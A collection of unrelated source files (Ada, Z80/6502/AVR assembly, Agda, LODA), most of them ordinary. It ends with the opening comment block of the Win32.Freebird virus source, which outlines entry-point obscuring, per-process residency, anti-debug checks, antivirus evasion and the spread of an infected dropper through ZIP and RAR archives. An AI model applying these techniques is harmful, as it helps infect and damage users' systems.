Parameter_Array; type Command_Type is (Bind, Chop, Clean, Compile, Check, Elim, Find, Krunch, Link, List, Make, Metric, Name, Preprocess, Pretty, Setup, Shared, Stub, Xref, Undefined); type Alternate_Command is (Comp, Ls, Kr, Pp, Prep); -- Alternate command label for non VMS system use Corresponding_To : constant array (Alternate_Command) of Command_Type := (Comp => Compile, Ls => List, Kr => Krunch, Prep => Preprocess, Pp => Pretty); -- Mapping of alternate commands to commands subtype Real_Command_Type is Command_Type range Bind .. Xref; type Command_Entry is record Cname : String_Ptr; -- Command name for GNAT xxx command Usage : String_Ptr; -- A usage string, used for error messages Unixcmd : String_Ptr; -- Corresponding Unix command Unixsws : Argument_List_Access; -- Switches for the Unix command VMS_Only : Boolean; -- When True, the command can only be used on VMS Switches : Switches_Ptr; -- Pointer to array of switch strings Params : Parameter_Ref; -- Describes the allowable types of parameters. -- Params (1) is the type of the first parameter, etc. -- An empty parameter array means this command takes no parameters. Defext : String (1 .. 3); -- Default extension. If non-blank, then this extension is supplied by -- default as the extension for any file parameter which does not have -- an extension already. end record; ------------------------- -- Internal Structures -- ------------------------- -- The switches and commands are defined by strings in the previous -- section so that they are easy to modify, but internally, they are -- kept in a more conveniently accessible form described in this -- section. -- Commands, command qualifers and options have a similar common format -- so that searching for matching names can be done in a common manner. type Item_Id is (Id_Command, Id_Switch, Id_Option); type Translation_Type is ( T_Direct, -- A qualifier with no options. -- Example: GNAT MAKE /VERBOSE T_Directories, -- A qualifier followed by a list of directories -- Example: GNAT COMPILE /SEARCH=([], [.FOO], [.BAR]) T_Directory, -- A qualifier followed by one directory -- Example: GNAT LIBRARY /SET=[.VAXFLOATLIB] T_File, -- A qualifier followed by a filename -- Example: GNAT LINK /EXECUTABLE=FOO.EXE T_No_Space_File, -- A qualifier followed by a filename -- Example: GNAT MAKE /PROJECT_FILE=PRJ.GPR T_Numeric, -- A qualifier followed by a numeric value. -- Example: GNAT CHOP /FILE_NAME_MAX_LENGTH=39 T_String, -- A qualifier followed by a quoted string. Only used by -- /IDENTIFICATION qualifier. -- Example: GNAT LINK /IDENTIFICATION="3.14a1 version" T_Options, -- A qualifier followed by a list of options. -- Example: GNAT COMPILE /REPRESENTATION_INFO=(ARRAYS,OBJECTS) T_Commands, -- A qualifier followed by a list. Only used for -- MAKE /COMPILER_QUALIFIERS /BINDER_QUALIFIERS /LINKER_QUALIFIERS -- (gnatmake -cargs -bargs -largs ) -- Example: GNAT MAKE ... /LINKER_QUALIFIERS /VERBOSE FOOBAR.OBJ T_Other, -- A qualifier passed directly to the linker. Only used -- for LINK and SHARED if no other match is found. -- Example: GNAT LINK FOO.ALI /SYSSHR T_Alphanumplus -- A qualifier followed by a legal linker symbol prefix. Only used -- for BIND /BUILD_LIBRARY (gnatbind -Lxyz). -- Example: GNAT BIND /BUILD_LIBRARY=foobar ); type Item (Id : Item_Id); type Item_Ptr is access all Item; type Item (Id : Item_Id) is record Name : String_Ptr; -- Name of the command, switch (with slash) or option Next : Item_Ptr; -- Pointer to next item on list, always has the same Id value Command : Command_Type := Undefined; Unix_String : String_Ptr := null; -- Corresponding Unix string. For a command, this is the unix command -- name and possible default switches. For a switch or option it is -- the unix switch string. case Id is when Id_Command => Switches : Item_Ptr; -- Pointer to list of switch items for the command, linked -- through the Next fields with null terminating the list. Usage : String_Ptr; -- Usage information, used only for errors and the default -- list of commands output. Params : Parameter_Ref; -- Array of parameters Defext : String (1 .. 3); -- Default extension. If non-blank, then this extension is -- supplied by default as the extension for any file parameter -- which does not have an extension already. when Id_Switch => Translation : Translation_Type; -- Type of switch translation. For all cases, except Options, -- this is the only field needed, since the Unix translation -- is found in Unix_String. Options : Item_Ptr; -- For the Options case, this field is set to point to a list -- of options item (for this case Unix_String is null in the -- main switch item). The end of the list is marked by null. when Id_Option => null; -- No special fields needed, since Name and Unix_String are -- sufficient to completely described an option. end case; end record; subtype Command_Item is Item (Id_Command); subtype Switch_Item is Item (Id_Switch); subtype Option_Item is Item (Id_Option); ------------------- -- Switch Tables -- ------------------- -- The switch tables contain an entry for each switch recognized by the -- command processor. It is initialized by procedure Initialize. Command_List : array (Real_Command_Type) of Command_Entry; ---------------- -- Procedures -- ---------------- procedure Initialize; -- Initialized the switch table Command_List procedure Output_Version; -- Output the version of this program procedure VMS_Conversion (The_Command : out Command_Type); -- Converts VMS command line to equivalent Unix command line end VMS_Conv;
programs/oeis/132/A132355.asm
karttu/loda
0
170379
; A132355: Numbers of the form 9*h^2 + 2*h, for h an integer. ; 0,7,11,32,40,75,87,136,152,215,235,312,336,427,455,560,592,711,747,880,920,1067,1111,1272,1320,1495,1547,1736,1792,1995,2055,2272,2336,2567,2635,2880,2952,3211,3287,3560,3640,3927,4011,4312,4400,4715,4807,5136,5232,5575,5675,6032,6136,6507,6615,7000,7112,7511,7627,8040,8160,8587,8711,9152,9280,9735,9867,10336,10472,10955,11095,11592,11736,12247,12395,12920,13072,13611,13767,14320,14480,15047,15211,15792,15960,16555,16727,17336,17512,18135,18315,18952,19136,19787,19975,20640,20832,21511,21707,22400,22600,23307,23511,24232,24440,25175,25387,26136,26352,27115,27335,28112,28336,29127,29355,30160,30392,31211,31447,32280,32520,33367,33611,34472,34720,35595,35847,36736,36992,37895,38155,39072,39336,40267,40535,41480,41752,42711,42987,43960,44240,45227,45511,46512,46800,47815,48107,49136,49432,50475,50775,51832,52136,53207,53515,54600,54912,56011,56327,57440,57760,58887,59211,60352,60680,61835,62167,63336,63672,64855,65195,66392,66736,67947,68295,69520,69872,71111,71467,72720,73080,74347,74711,75992,76360,77655,78027,79336,79712,81035,81415,82752,83136,84487,84875,86240,86632,88011,88407,89800,90200,91607,92011,93432,93840,95275,95687,97136,97552,99015,99435,100912,101336,102827,103255,104760,105192,106711,107147,108680,109120,110667,111111,112672,113120,114695,115147,116736,117192,118795,119255,120872,121336,122967,123435,125080,125552,127211,127687,129360,129840,131527,132011,133712,134200,135915,136407,138136,138632,140375 mul $0,2 mov $2,$0 lpb $2,1 add $0,3 mov $3,$1 add $3,$2 trn $1,$3 add $1,$0 add $0,3 add $1,$3 sub $2,3 trn $2,1 lpe
InstExercise/InstExercise.asm
DanishBangash/AvrStudio-C--Projects
0
1754
LDI r17,25; LDI r18, 5; ADD r17, r18;
deps/FreeTypeAda/src/ft-faces.adb
Roldak/OpenGLAda
1
29313
-- part of FreeTypeAda, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "COPYING" with FT.Errors; with FT.API; package body FT.Faces is use type Errors.Error_Code; procedure Adjust (Object : in out Face_Reference) is begin if Object.Data /= null then if API.FT_Reference_Face (Object.Data) /= Errors.Ok then null; end if; end if; end Adjust; -- ------------------------------------------------------------------------ function Initialized (Object : Face_Reference) return Boolean is begin return Object.Data /= null; end Initialized; -- ------------------------------------------------------------------------ procedure Finalize (Object : in out Face_Reference) is Ptr : constant Face_Ptr := Object.Data; begin Object.Data := null; if Ptr /= null then if API.FT_Done_Face (Ptr) /= Errors.Ok then null; end if; end if; end Finalize; -- ------------------------------------------------------------------------ function Size (Object : Face_Reference) return Bitmap_Size is begin Check_Face_Ptr (Object); if Object.Data.Available_Sizes = null then raise FreeType_Exception with "FT.Faces.Size failed, there are no sizes available for this face."; end if; return Object.Data.Available_Sizes.all; end Size; -- ------------------------------------------------------------------------ procedure Check_Face_Ptr (Object : Face_Reference) is begin if Object.Data = null then raise Constraint_Error with "Face_Reference not initialized"; end if; end Check_Face_Ptr; -- ------------------------------------------------------------------------- procedure Kerning (Object : Face_Reference; Left_Glyph : UInt; Right_Glyph : UInt; Kern_Mode : UInt; aKerning : access Vector) is begin Check_Face_Ptr (Object); declare Code : constant Errors.Error_Code := API.FT_Get_Kerning (Object.Data, Left_Glyph, Right_Glyph, Kern_Mode, aKerning); begin if Code /= Errors.Ok then raise FT.FreeType_Exception with "FT.Faces.Kerning error: " & Errors.Description (Code); end if; end; end Kerning; function Character_Index (Object : Face_Reference; Char_Code : ULong) return Char_Index_Type is begin Check_Face_Ptr (Object); return API.FT_Get_Char_Index (Object.Data, Char_Code); end Character_Index; procedure Load_Glyph (Object : Face_Reference; Glyph_Index : Char_Index_Type; Flags : Load_Flag) is begin Check_Face_Ptr (Object); declare Code : constant Errors.Error_Code := API.FT_Load_Glyph (Object.Data, Glyph_Index, Flags); begin if Code /= Errors.Ok then raise FT.FreeType_Exception with "FT.Faces.Load_Glyph error: " & Errors.Description (Code) & Character'Val (10); end if; end; end Load_Glyph; -- ------------------------------------------------------------------------ procedure Load_Character (Object : Face_Reference; Char_Code : ULong; Flags : Load_Flag) is begin Check_Face_Ptr (Object); declare Code : constant Errors.Error_Code := API.FT_Load_Char (Object.Data, Char_Code, Flags); begin if Code /= Errors.Ok then raise FT.FreeType_Exception with "FT.Faces.Load_Character error: " & Errors.Description (Code) & Character'Val (10) & "while loading character #" & Char_Code'Img; end if; end; end Load_Character; -- ------------------------------------------------------------------------- function Metrics (Object : Face_Reference) return Size_Metrics is begin Check_Face_Ptr (Object); return Object.Data.Size.Metrics; end Metrics; -- ------------------------------------------------------------------------- procedure New_Face (Library : Library_Reference; File_Path_Name : String; Face_Index : Face_Index_Type; Object : in out Face_Reference) is Path : Interfaces.C.Strings.chars_ptr := Interfaces.C.Strings.New_String (File_Path_Name); begin -- cleanup possible old reference Object.Finalize; declare Code : constant Errors.Error_Code := API.FT_New_Face (Library.Data, Path, Face_Index, Object.Data'Unchecked_Access); begin if Code /= Errors.Ok then if Code = Errors.Cannot_Open_Resource then raise FT.FreeType_Exception with "The file " & File_Path_Name & " cannot be found."; else raise FT.FreeType_Exception with "FT.Faces.New_Face error: " & Errors.Description (Code); end if; end if; end; Interfaces.C.Strings.Free (Path); Object.Library := Library; end New_Face; -- ------------------------------------------------------------------------- procedure Set_Pixel_Sizes (Object : Face_Reference; Pixel_Width : UInt; Pixel_Height : UInt) is begin Check_Face_Ptr (Object); declare Code : constant Errors.Error_Code := API.FT_Set_Pixel_Sizes (Object.Data, Pixel_Width, Pixel_Height); begin if Code /= Errors.Ok then raise FT.FreeType_Exception with "FT.Faces.Set_Pixel_Sizes error: " & Errors.Description (Code); end if; end; end Set_Pixel_Sizes; -- ------------------------------------------------------------------------- function Glyph_Slot (Object : Face_Reference) return Glyph_Slot_Reference is begin Check_Face_Ptr (Object); if Object.Data.Glyph_Slot = null then raise FreeType_Exception with "FT.Faces.Sloc - no Glyph is loaded."; end if; return (Data => Object.Data.Glyph_Slot); end Glyph_Slot; -- ------------------------------------------------------------------------ end FT.Faces;
libsrc/_DEVELOPMENT/math/float/math16/c/sccz80/cm16_sccz80_atan.asm
ahjelm/z88dk
640
11409
<reponame>ahjelm/z88dk<filename>libsrc/_DEVELOPMENT/math/float/math16/c/sccz80/cm16_sccz80_atan.asm SECTION code_fp_math16 PUBLIC cm16_sccz80_atan EXTERN cm16_sccz80_read1, atanf16 cm16_sccz80_atan: call cm16_sccz80_read1 jp atanf16
Definition/LogicalRelation/Properties/MaybeEmb.agda
CoqHott/logrel-mltt
2
17436
<filename>Definition/LogicalRelation/Properties/MaybeEmb.agda {-# OPTIONS --safe #-} open import Definition.Typed.EqualityRelation module Definition.LogicalRelation.Properties.MaybeEmb {{eqrel : EqRelSet}} where open EqRelSet {{...}} open import Definition.Untyped open import Definition.Typed open import Definition.LogicalRelation import Tools.PropositionalEquality as PE import Data.Nat as Nat -- Any level can be embedded into the highest level. maybeEmb : ∀ {l A r Γ} → Γ ⊩⟨ l ⟩ A ^ r → Γ ⊩⟨ ∞ ⟩ A ^ r maybeEmb {ι ⁰} [A] = emb ∞< (emb emb< [A]) maybeEmb {ι ¹} [A] = emb ∞< [A] maybeEmb {∞} [A] = [A] -- Any level can be embedded into the highest level. maybeEmbTerm : ∀ {l A t r Γ} → ([A] : Γ ⊩⟨ l ⟩ A ^ r) → Γ ⊩⟨ l ⟩ t ∷ A ^ r / [A] → Γ ⊩⟨ ∞ ⟩ t ∷ A ^ r / maybeEmb [A] maybeEmbTerm {ι ⁰} [A] [t] = [t] maybeEmbTerm {ι ¹} [A] [t] = [t] maybeEmbTerm {∞} [A] [t] = [t] -- The lowest level can be embedded in any level. maybeEmb′ : ∀ {l l' A r Γ} → l ≤ l' → Γ ⊩⟨ ι l ⟩ A ^ r → Γ ⊩⟨ ι l' ⟩ A ^ r maybeEmb′ (<is≤ 0<1) [A] = emb emb< [A] maybeEmb′ (≡is≤ PE.refl) [A] = [A] maybeEmb″ : ∀ {l A r Γ} → Γ ⊩⟨ ι ⁰ ⟩ A ^ r → Γ ⊩⟨ l ⟩ A ^ r maybeEmb″ {ι ⁰} [A] = [A] maybeEmb″ {ι ¹} [A] = emb emb< [A] maybeEmb″ {∞} [A] = emb ∞< (emb emb< [A])
libsrc/_DEVELOPMENT/arch/sms/z80/asm_sms_ldir_mem_to_vram_unsafe.asm
grancier/z180
0
1299
; ======================================================================== ; ; void *sms_ldir_mem_to_vram_unsafe(void *dst, void *src, unsigned int n) ; ; ldir from memory to vram; VRAM addresses are assumed to be stable. ; ; ======================================================================== SECTION code_clib SECTION code_crt_common PUBLIC asm_sms_ldir_mem_to_vram_unsafe PUBLIC asm_sms_ldir_mem_to_vram_unsafe_continue EXTERN asm_sms_set_vram_write_de asm_sms_ldir_mem_to_vram_unsafe: ; memcpy from memory to vram ; ; enter : hl = void *src in memory ; de = void *dst in vram ; bc = unsigned int n > 0 ; ; exit : hl = void *src, &byte after last read ; de = void *dst, &byte after last written ; ; uses : af, bc, de, hl call asm_sms_set_vram_write_de ex de,hl add hl,bc ex de,hl asm_sms_ldir_mem_to_vram_unsafe_continue: ; hl = void *src in memory ; bc = unsigned int n > 0 ; VRAM has dst address set ld a,b inc a ld b,c inc b djnz no_adjust dec a no_adjust: ld c,$be loop: otir dec a jp nz, loop ret
projects/Links_Awakening_gb.windfish/configuration/macros/changebank.asm
jverkoey/awaken
68
6637
<filename>projects/Links_Awakening_gb.windfish/configuration/macros/changebank.asm ld a, #1 ld [$2100], a
src/asf-contexts-facelets.adb
Letractively/ada-asf
0
7234
<reponame>Letractively/ada-asf ----------------------------------------------------------------------- -- contexts-facelets -- Contexts for facelets -- Copyright (C) 2009, 2010, 2011, 2013 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Directories; with Util.Files; with Util.Log.Loggers; with EL.Variables; with ASF.Applications.Main; with ASF.Views.Nodes.Facelets; package body ASF.Contexts.Facelets is use Util.Log; -- The logger Log : constant Loggers.Logger := Loggers.Create ("ASF.Contexts.Facelets"); -- ------------------------------ -- Get the EL context for evaluating expressions. -- ------------------------------ function Get_ELContext (Context : in Facelet_Context) return EL.Contexts.ELContext_Access is begin return Context.Context; end Get_ELContext; -- ------------------------------ -- Set the EL context for evaluating expressions. -- ------------------------------ procedure Set_ELContext (Context : in out Facelet_Context; ELContext : in EL.Contexts.ELContext_Access) is begin Context.Context := ELContext; end Set_ELContext; -- ------------------------------ -- Get the function mapper associated with the EL context. -- ------------------------------ function Get_Function_Mapper (Context : in Facelet_Context) return EL.Functions.Function_Mapper_Access is use EL.Contexts; begin if Context.Context = null then return null; else return Context.Context.Get_Function_Mapper; end if; end Get_Function_Mapper; -- ------------------------------ -- Set the attribute having given name with the value. -- ------------------------------ procedure Set_Attribute (Context : in out Facelet_Context; Name : in String; Value : in EL.Objects.Object) is begin null; end Set_Attribute; -- ------------------------------ -- Set the attribute having given name with the value. -- ------------------------------ procedure Set_Attribute (Context : in out Facelet_Context; Name : in Unbounded_String; Value : in EL.Objects.Object) is begin null; end Set_Attribute; -- ------------------------------ -- Set the attribute having given name with the expression. -- ------------------------------ procedure Set_Variable (Context : in out Facelet_Context; Name : in Unbounded_String; Value : in EL.Expressions.Expression) is Mapper : constant access EL.Variables.Variable_Mapper'Class := Context.Context.Get_Variable_Mapper; begin if Mapper /= null then Mapper.Set_Variable (Name, Value); end if; end Set_Variable; -- Set the attribute having given name with the expression. procedure Set_Variable (Context : in out Facelet_Context; Name : in String; Value : in EL.Expressions.Expression) is N : constant Unbounded_String := To_Unbounded_String (Name); begin Set_Variable (Context, N, Value); end Set_Variable; -- ------------------------------ -- Include the facelet from the given source file. -- The included views appended to the parent component tree. -- ------------------------------ procedure Include_Facelet (Context : in out Facelet_Context; Source : in String; Parent : in Base.UIComponent_Access) is begin null; end Include_Facelet; -- ------------------------------ -- Include the definition having the given name. -- ------------------------------ procedure Include_Definition (Context : in out Facelet_Context; Name : in Unbounded_String; Parent : in Base.UIComponent_Access; Found : out Boolean) is Node : Composition_Tag_Node; Iter : Defines_Vector.Cursor := Context.Defines.Last; The_Name : aliased constant String := To_String (Name); begin if Context.Inserts.Contains (The_Name'Unchecked_Access) then Found := True; return; end if; Context.Inserts.Insert (The_Name'Unchecked_Access); while Defines_Vector.Has_Element (Iter) loop Node := Defines_Vector.Element (Iter); Node.Include_Definition (Parent => Parent, Context => Context, Name => Name, Found => Found); if Found then Context.Inserts.Delete (The_Name'Unchecked_Access); return; end if; Defines_Vector.Previous (Iter); end loop; Found := False; Context.Inserts.Delete (The_Name'Unchecked_Access); end Include_Definition; -- ------------------------------ -- Push into the current facelet context the <ui:define> nodes contained in -- the composition/decorate tag. -- ------------------------------ procedure Push_Defines (Context : in out Facelet_Context; Node : access ASF.Views.Nodes.Facelets.Composition_Tag_Node) is begin Context.Defines.Append (Node.all'Access); end Push_Defines; -- ------------------------------ -- Pop from the current facelet context the <ui:define> nodes. -- ------------------------------ procedure Pop_Defines (Context : in out Facelet_Context) is use Ada.Containers; begin if Context.Defines.Length > 0 then Context.Defines.Delete_Last; end if; end Pop_Defines; -- ------------------------------ -- Set the path to resolve relative facelet paths and get the previous path. -- ------------------------------ procedure Set_Relative_Path (Context : in out Facelet_Context; Path : in String; Previous : out Unbounded_String) is begin Log.Debug ("Set facelet relative path: {0}", Path); Previous := Context.Path; Context.Path := To_Unbounded_String (Ada.Directories.Containing_Directory (Path)); end Set_Relative_Path; -- ------------------------------ -- Set the path to resolve relative facelet paths. -- ------------------------------ procedure Set_Relative_Path (Context : in out Facelet_Context; Path : in Unbounded_String) is begin Log.Debug ("Set facelet relative path: {0}", Path); Context.Path := Path; end Set_Relative_Path; -- ------------------------------ -- Resolve the facelet relative path -- ------------------------------ function Resolve_Path (Context : Facelet_Context; Path : String) return String is begin if Path (Path'First) = '/' then return Path; else Log.Debug ("Resolve {0} with context {1}", Path, To_String (Context.Path)); return Util.Files.Compose (To_String (Context.Path), Path); end if; end Resolve_Path; -- ------------------------------ -- Get a converter from a name. -- Returns the converter object or null if there is no converter. -- ------------------------------ function Get_Converter (Context : in Facelet_Context; Name : in EL.Objects.Object) return ASF.Converters.Converter_Access is begin return Facelet_Context'Class (Context).Get_Application.Find (Name); end Get_Converter; -- ------------------------------ -- Get a validator from a name. -- Returns the validator object or null if there is no validator. -- ------------------------------ function Get_Validator (Context : in Facelet_Context; Name : in EL.Objects.Object) return ASF.Validators.Validator_Access is begin return Facelet_Context'Class (Context).Get_Application.Find_Validator (Name); end Get_Validator; end ASF.Contexts.Facelets;
programs/oeis/175/A175113.asm
neoneye/loda
22
163586
<gh_stars>10-100 ; A175113: a(n) = ((2*n + 1)^6 + 1)/2. ; 1,365,7813,58825,265721,885781,2413405,5695313,12068785,23522941,42883061,74017945,122070313,193710245,297411661,443751841,645733985,919132813,1282863205,1759371881,2375052121,3160681525,4151882813,5389607665,6920643601,8798143901,11082180565,13840320313,17148223625,21090266821,25760187181,31261751105,37709445313,45229191085,53959081541,64050141961,75667113145,88989257813,104211190045,121543727761,141214768241,163470186685,188574757813,216813100505,248490645481,283934626021,323495091725,367545945313,416486002465,470740074701,530760075301,597026148265,670047820313,750365175925,838550055421,935207276081,1040975876305,1156530382813,1282582100885,1419880427641,1569214188361,1731412995845,1907348632813,2097936457345,2304136831361,2526956572141,2767450426885,3026722570313,3305928125305,3606274706581,3929023987421,4275493289425,4647057195313,5045149184765,5471263293301,5926955794201,6413846903465,6933622507813,7488035915725,8078909631521,8708137152481,9377684789005,10089593507813,10845980798185,11649042561241,12501055022261,13404376666045,14361450195313,15374804512145,16447056722461,17580914163541,18779176454585,20044737570313,21380587937605,22789816555181,24275613136321,25841270274625,27490185632813,29225864154565,31051920299401 mul $0,2 mov $1,1 add $1,$0 pow $1,6 div $1,2 add $1,1 mov $0,$1
src/inputs.ads
laurentzh/CHIP-8
4
16463
<reponame>laurentzh/CHIP-8 with Types; use Types; package Inputs is subtype Position_X is Integer range 160 .. 239; subtype Position_Y is Integer range 0 .. 319; type Layout_Array is array (0 .. 1, 0 .. 7) of Integer; Layout : constant Layout_Array := ((1, 2, 3, 16#C#, 7, 8, 9, 16#E#), (4, 5, 6, 16#D#, 16#A#, 0, 16#B#, 16#F#)); procedure Update_Pressed_Keys(Keys : in out Keys_List); function Get_Key(X : Position_X; Y : Position_Y) return Integer with Post => Get_Key'Result = Layout((X - Position_X'First) / 40, Y / 40); end Inputs;
01-test/01-test.asm
ivanhawkes/6502
0
172275
<reponame>ivanhawkes/6502 ; Compile: ; vasm6502_oldstyle.exe 01-test.asm -o 01-test.bin -c02 -dotdir -Fbin .org $8000 main: lda #$ff sta $6002 lda #$50 sta $6000 loop: ror sta $6000 jmp loop ; 6502 bootup reads this address and jumps to it. .org #$fffc .word main .word $0000
programs/oeis/017/A017267.asm
neoneye/loda
22
104429
<reponame>neoneye/loda<filename>programs/oeis/017/A017267.asm ; A017267: a(n) = (9*n + 8)^11. ; 8589934592,34271896307633,3670344486987776,96549157373046875,1196683881290399744,9269035929372191597,52036560683837093888,231122292121701565271,858993459200000000000,2775173073766990340489,8007313507497959524352,21048519522998348950643,51172646912339021398016,116415321826934814453125,250122512189374498985984,511324276025564512546607,1000643704540847195291648,1884016215314563749249761,3427189630763300000000000,6044819549314706693299979,10368987284463733138522112,17343170265605241347130653,28349109672436645439584256,45375670872618296240234375,71240703863716132079796224,109879109551310452512114617,166712830744247830760081408,249121342886682932269065251,367034448698777600000000000,533672814240301731473788469,766465753873151417719887872,1088180311861833230021357663,1528300733849759596723306496,2124703008370890559619140625,2925675324340604967987390464,3992342073809083968859805627,5401556470099967575398023168,7249334990994258712381121741,9654915737304687500000000000,12765532462721932175857515959,16762006526156773981926981632,21865270389159625050067741673,28343948575831725778577524736,36523135279664107855419921875,46794522090917238883645128704,59628044680704813913766929637,75585233766340778979313276928,95334473350473334338476729231,119668388129039974400000000000,149523602156362812588586992449,186003132397245379497877563392,230401703744465269881211992683,284234296495568578116086398976,349268263226601764001611328125,427559379534856823843881170944,521492222311601429966591196647,633825300114114700748351602688,767741392900401760208994397721,926903592937219159700000000000,1115517575161264114534437527939,1338400663734571537035167793152,1601058302059584837582353420693,1909768576179532861378609289216,2271675486359422206878662109375,2694891708797160239686624477184,3188611638929330712224580716657,3763235559749474995117984360448,4430505833027164123003435837211,5203656068383709388800000000000,6097574284926333951333793232429,7128981142649549347984776230912,8316624386164136054632388935703,9681490711595556068990916755456,11247036338791120301304541015625,13039437645376339360654360807424,15087863296794400779633937999667,17424769387338689110174972510208,20086219191438000565629621957701,23112229212170156527100000000000,26547143305255898455187983015919,30440036751716311363039287836672,34845152251059887455474717047713,39822369909397271896318566557696,45437713403361547637409716796875,51763894611239687165355348721664,58880899117397849864481203955677,66876615115012111056746710611968,75847508355400801893209188869191,85899345920000000000000000000000,97147971723336173619258376588409,109720136792337134058077437970432,123754387509093132323753421866723,139402015150844238270475519655936,156828070212639409431512158203125,176212445154899489613882595579904,197751029380134624572872961894687,221656940410431346576466250825728,248161835410152216961189323881681,277517307376699034048900000000000,309996370506298073847987240459899 mul $0,9 add $0,8 pow $0,11
archive/agda-3/src/Oscar/Property/Category/ExtensionProposextensequality.agda
m0davis/oscar
0
12884
import Oscar.Class.Reflexivity.Function import Oscar.Class.Transextensionality.Proposequality -- FIXME why not use the instance here? open import Oscar.Class open import Oscar.Class.Category open import Oscar.Class.HasEquivalence open import Oscar.Class.IsCategory open import Oscar.Class.IsPrecategory open import Oscar.Class.Precategory open import Oscar.Class.Reflexivity open import Oscar.Class.Transassociativity open import Oscar.Class.Transextensionality open import Oscar.Class.Transitivity open import Oscar.Class.Transleftidentity open import Oscar.Class.Transrightidentity open import Oscar.Class.[IsExtensionB] open import Oscar.Data.Proposequality open import Oscar.Prelude open import Oscar.Property.Category.Function open import Oscar.Property.Setoid.Proposextensequality module Oscar.Property.Category.ExtensionProposextensequality where module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance 𝓣ransassociativityExtensionProposextensequality : Transassociativity.class (Extension B) Proposextensequality transitivity 𝓣ransassociativityExtensionProposextensequality .⋆ _ _ _ _ = ! module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance 𝓣ransextensionalityExtensionProposextensequality : Transextensionality.class (Extension B) Proposextensequality transitivity 𝓣ransextensionalityExtensionProposextensequality .⋆ = 𝓣ransextensionalityFunctionProposextensequality .⋆ -- 𝓣ransextensionalityExtensionProposextensequality .⋆ {f₂ = f₂} f₁≡̇f₂ g₁≡̇g₂ x rewrite f₁≡̇f₂ x = g₁≡̇g₂ (f₂ x) -- FIXME using this causes problems in Test.Functor module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance 𝓣ransleftidentityExtensionProposextensequality : Transleftidentity.class (Extension B) Proposextensequality ε transitivity 𝓣ransleftidentityExtensionProposextensequality .⋆ _ = ! module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance 𝓣ransrightidentityExtensionProposextensequality : Transrightidentity.class (Extension B) Proposextensequality ε transitivity 𝓣ransrightidentityExtensionProposextensequality .⋆ _ = ! module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance HasEquivalenceExtension : ∀ {x y : A} ⦃ _ : [IsExtensionB] B ⦄ → HasEquivalence (Extension B x y) _ HasEquivalenceExtension = ∁ Proposextensequality module _ {a} {A : Ø a} {b} {B : A → Ø b} where instance IsPrecategoryExtension : IsPrecategory (Extension B) Proposextensequality transitivity IsPrecategoryExtension = ∁ IsCategoryExtension : IsCategory (Extension B) Proposextensequality ε transitivity IsCategoryExtension = ∁ module _ {a} {A : Ø a} {b} (B : A → Ø b) where PrecategoryExtension : Precategory _ _ _ PrecategoryExtension = ∁ (Extension B) Proposextensequality transitivity CategoryExtension : Category _ _ _ CategoryExtension = ∁ (Extension B) Proposextensequality ε transitivity
text/maps/celadon_mansion_3f.asm
etdv-thevoid/pokemon-rgb-enhanced
9
161434
_ProgrammerText:: text "Me? I'm the" line "programmer!" done _GraphicArtistText:: text "I'm the graphic" line "artist!" cont "I drew you!" done _WriterText:: text "I wrote the story!" line "Isn't ERIKA cute?" para "I like MISTY a" line "lot too!" para "Oh, and SABRINA," line "I like her!" done _GameDesignerText:: text "Is that right?" para "I'm the game" line "designer!" para "Filling up your" line "#DEX is tough," cont "but don't quit!" para "When you finish," line "come tell me!" done _CompletedDexText:: text "Wow! Excellent!" line "You completed" cont "your #DEX!" cont "Congratulations!" cont "...@@" _CeladonMansion3Text5:: text "It's the game" line "program! Messing" cont "with it could bug" cont "out the game!" done _CeladonMansion3Text6:: text "Someone's playing" line "a game instead of" cont "working!" done _CeladonMansion3Text7:: text "It's the script!" line "Better not look" cont "at the ending!" done _CeladonMansion3Text8:: text "GAME FREAK" line "Development Room" done
Win32/Win32.Freebird/Win32.Freebird.asm
fengjixuchui/Family
3
171710
; ; freebird ; Coded by Bumblebee ; ; This is the source code of a VIRUS. The author is in no way ; responsabile of any damage that may occur due its usage. ; ; Some comments: ; ; That's a win32 per-process resident and direct action EPO virus. ; ; It infects only files that have any import from kernel32.dll module ; because this import is used to retrieve k32 address (and needed API). ; It requires API to go back host (restore patched bytes into host code ; section). It won't modify the EP in the PE header, instead patches the ; host code inserting a jmp to the virus. Is not the ultimate EPO but ; works and it's very easy to code, better than nothing :) ; ; It updates the PE checksum of infected PE files using imagehlp.dll ; API. If this API is not available, it still infects (checksum is zero). ; ; It does self integrity check with CRC32. That's a simple but effective ; anti-debug trick and keeps virus pretty safe of hex hacking. ; ; Uses size padding as infection sign. ; ; It won't infect most of av soft looking for the usual stringz in the ; name of the disposable victim (AV, DR, SP, F-, AN, VE, CL, ON). ; ; Has a run-time part that will affect win32 PE files with EXE ext into ; current and windows folders. It skips system protected files (SFC). ; Infecting files into windows folder helps the virus to spread with the ; simple direct action schema. If that fails (due system protected files), ; then the per-process part is there. ; ; It uses kinda mutexes to avoid overload the system with the run-time ; part. Due it uses shared memory by name as mutex, the name is random ; from serial number of c:\ drive and results from CPUID instruction ;) ; ; That name is used to uncompress a dropper and infect it. This file ; will be added to ZIP/RAR archives found in current folder. It will ; skip archives where 1st item is README.EXE (to avoid re-infection). ; It inserts the droper at the begining of the archives instead of ; appending the infected file to the end. Archive infection is a bit ; unoptimized O:) but quite clear to understand it. ; ; Per-process residence is performed as explained in an article released ; in this e-zine. I hook to check for directory changes: PostQuitMessage ; from USER32.DLL. ; ; It will get the needed API using GetProcAddress. And uses SEH to ; avoid crash, it hangs the process when a fatal error occurs (eg. if ; it cannot get the APIs to patch host code, it won't be able to go ; back host). At least won't appear an screen of death ;) ; ; Well, it's a neat virus. That was funny to code, even most parts are ; quite standard. I think that's the 2nd time i don't use crc32 for ; imports (the first one was win95.bumble, my 1st win appender), and is ; just due i was bored of the same crc32 code ever, and 2 facts: ; av stop study of viruses and... who cares with virus size? ;) ; ; I've developed it under 